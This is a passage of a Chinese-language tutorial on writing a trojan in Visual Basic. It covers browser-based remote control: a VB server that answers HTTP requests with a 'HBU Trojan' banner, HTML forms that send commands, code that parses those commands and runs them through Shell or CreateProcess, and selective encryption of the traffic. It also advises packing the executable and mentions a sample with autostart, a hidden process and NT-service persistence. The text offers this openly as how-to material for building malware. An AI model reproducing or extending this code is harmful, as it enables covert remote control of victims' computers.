VB木马也疯狂
一个完整的HTTP请求经过这段代码后变成:
/register?UserName=LK007&Age=18
这才是我们需要的核心部分,分析它的报文格式:
[目标文件]?[附加数据1=数据]&[附加数据2=数据]&..............
应用在木马中,可以这样理解:
[命令]?[参数1=值]&[参数2=值]&......
例如:/writefile?filename=c:\Windows\desktop\user.txt&text=hello,nice%20to%20meet%20you
它表示用写入文件的命令往c:\Windows\desktop\user.txt写入内容“hello,nice to meet you”,浏览器输出的中文和特殊字符报文必须经过URL编码,因此空格被编码成了%20。
3.B/S交互制作
(1).输出HTML
鉴于TCP协议的木马都是开个端口监听,和HTTP服务没什么两样,因此不必为B/S模式接收部分编写另外的代码,直接在recv里判断报文是否以GET/PUT开头即可。如果是一个HTTP请求则执行一段预先写好的HTML页面输出过程,例如:
===================================================
Function DefaultHTML()
On Error Resume Next
Dim x As String
x = "HTTP/1.1 200 OK" & vbCrLf
x = x & "Server: HBU Trojan" & vbCrLf & vbCrLf
x = x & vbCrLf & "<HTML><HEAD><TITLE>B/S Example .::Powered by 小金::.</TITLE>" & _
"<META content=""text/html; charset=gb2312"" http-equiv=Content-Type>" & _
"</HEAD><BODY aLink=#ffffff bgColor=#4f9fdf bottomMargin=0 leftMargin=0 rightMargin=0 topMargin=0 vLink=#ffffff>" & _
"<p align=""center""><b><font size=""6"" color=""#000066"">显示目录</font></b></p>" & _
"<hr width=""100%"" size=""1"" color=""#FFFFFF"" ><table width=""100%"" border=""0"" cellspacing=""0"" cellpadding=""0""><tr><td width=""41%""><form action=""dir""><p size=9px> 路径 <input type=""text"" name=""directory"" value=""c:\""></p><p> 文件类型 <input name=""filter"" type=""text"" value=""*.*""></p><input type=""submit"" value=""显示""></form></td></tr></table><hr width=""100%"" size=""1"" color=""#FFFFFF"" ><p align=""center""><font face=""Arial"" size=""2"" color=""#FFFFFF""><b>© 2003 小金 制作 </b></font></p></BODY></HTML>"
DefaultHTML = x
End Function
===================================================
这段代码输出一个包含HTML内容的字符串,用Winsock发送出去就显示成一个简单的HTML页面了。
(2).表单提交和控制
先看一段表单模型:
<form action=[控制命令]><p>[内容描述]<input type="text" name=[参数1]></p><p>[内容描述2]<input type="text" name=[参数2]></p><input type="submit" value=[描述]><form>
注意<input type="submit" value=[描述]>,这是个提交按钮,必须省略它的NAME属性(完整的提交按钮格式是<input type="submit" name=[参数] value=[描述]>),否则浏览器会在所有数据后追加一个附加数据用于表示按钮,这样我们前面提到的“/register?UserName=LK007&Age=18”就会变成“/register?UserName=LK007&Age=18&[按钮NAME]=[按钮Value]”,对程序分割命令段没什么好处。
服务端接收到一个HTTP请求并去除枝叶后,就要对它进行分解,把命令和参数分离。
例如:
/dir?directory=c:\&filter=*.*
VB代码分解:
===================================================
Dim strURL As String
Dim sCommand As String '命令
Dim sValue(15) As String '最大处理16个参数
Dim sTmp As String, sLength As Integer, i As Integer
strURL = "/dir?directory=c:\&filter=*.*"
strURL = Trim$(Right$(strURL, Len(strURL) - 1)) '去除"/"
sCommand = Left$(strURL, InStr(strURL, "?") - 1) '分割命令和参数
sTmp = Right(strURL, (Len(strURL) - Len(sCommand) - 1))
For i = 0 To 15
If InStr(sTmp, "&") = 0 Then sValue(i) = sTmp: Exit For
sValue(i) = Left$(sTmp, InStr(sTmp, "&") - 1)
sTmp = Right(sTmp, (Len(sTmp) - Len(sValue(i)) - 1))
Next
Select Case sCommand
Case "dir"
Dim sDir As String
Dim sFilter As String
For i = 0 To 15
If InStr(sValue(i), "directory=") <> 0 Then
sDir = Right$(sValue(i), Len(sValue(i)) - 10) 'Len("directory=")=10
ElseIf InStr(sValue(i), "filter=") <> 0 Then
sFilter = Right$(sValue(i), Len(sValue(i)) - 7) 'Len("filter=")=7
Else
End If
Next
Case .....
Case Else
End Select
===================================================
最终得到命令“dir c:\*.*”。
然后可以用多种方法执行这个命令,如Shell、CreateProcess等,把执行结果用一个HTML页面返回数据:
===================================================
Function OutputHTML(sData As String)
On Error Resume Next
Dim x As String
x = "HTTP/1.1 200 OK" & vbCrLf
x = x & "Server: HBU Trojan" & vbCrLf & vbCrLf
x = x & vbCrLf & "<HTML><HEAD><TITLE>B/S Example .::Powered by 小金::.</TITLE>" & _
"<META content=""text/html; charset=gb2312"" http-equiv=Content-Type>" & _
"</HEAD><BODY aLink=#ffffff bgColor=#4f9fdf bottomMargin=0 leftMargin=0 rightMargin=0 topMargin=0 vLink=#ffffff>" & _
"<p align=""center""><b><font size=""6"" color=""#000066"">查看目录</font></b></p>" & _
"<hr width=""100%"" size=""1"" color=""#FFFFFF"" ><table width=""100%"" border=""0"" cellspacing=""0"" cellpadding=""0""><tr><td width=""41%""><p align=""center""><font color=""#FFFFFF"" size=""6""><b><font size=""7""><pre>" & sData & "</pre></font></b></font></p></td></tr></table><hr width=""100%"" size=""1"" color=""#FFFFFF"" ><p align=""center""><font face=""Arial"" size=""2"" color=""#FFFFFF""><b>© 2003 小金 制作 </b></font></p></BODY></HTML>"
OutputHTML = x
End Function
===================================================
4.与加密报文冲突的解决
由于HTTP使用明文传输,所以支持B/S模式的木马就必须用明文传输,这似乎与前面的报文加密冲突,其实只要在发送和接收的时候判断一下HTTP请求和HTML页面的特征字符串就可以了。
===================================================
'加密后发送数据
If InStr(rc,"<HTML><HEAD><TITLE>")=0 Then rc = Encrypt(rc, "a") '如果没有发现HTML特征就加密
SendData wParam, rc
'接收并解密
Do
szBuf = String(256, 0)
lRet = recv(wParam, ByVal szBuf, Len(szBuf), 0)
If lRet > 0 Then sData = sData + Left$(szBuf, lRet)
Loop Until lRet <= 0
If InStr(sData,"HTTP/") =0 Then sData = Decrypt(sData, "a") '如果没有HTTP请求的特征就解密
sData = Trim$(sData)
===================================================
限于篇幅问题,B/S控制就简单的介绍到这里了。
十四、编译和加壳
虽然去除了ActiveX,但是VB程序必须依靠VB运行库才能运行,所以推荐用VB5.0编译成EXE,因为Win9x没有自带MSVBVM60.DLL。加壳也是必要的,可以尽量减小VB程序的体积,也避免EXE文件被随意修改。用API写的VB木马一般可以将体积控制在64KB以下。
十五、源代码
附上一个简单的带有自启动、隐藏进程、NT-Service、B/S控制(端口80)的木马例子,希望能给大家带来一点制作经验。由于直接使用浏览器控制,所以就偷懒不写Client端了,实际应用中最好能让木马同时支持C/S、B/S。
十六、写在最后
本来想写成一篇比较详细完整的文章的,可是后来才发现要写的东西太多了,要学的东西也太多了,作者水平有限,介绍得不够详细还请见谅。学无止境,只要学会了,就不必耿耿于选择语言,更不要轻视任何一门相对比较薄弱的语言,既然它能存在,就有它的优点。学多几种语言不如学精一种语言,否则,即使用C++,也不可能写出好程序,前面提过了,一个程序反映出的是作者的功底,不是写这个程序的语言好坏。学好自己选中的语言,不看低其他语言,这才是最实际的。
-
相关文章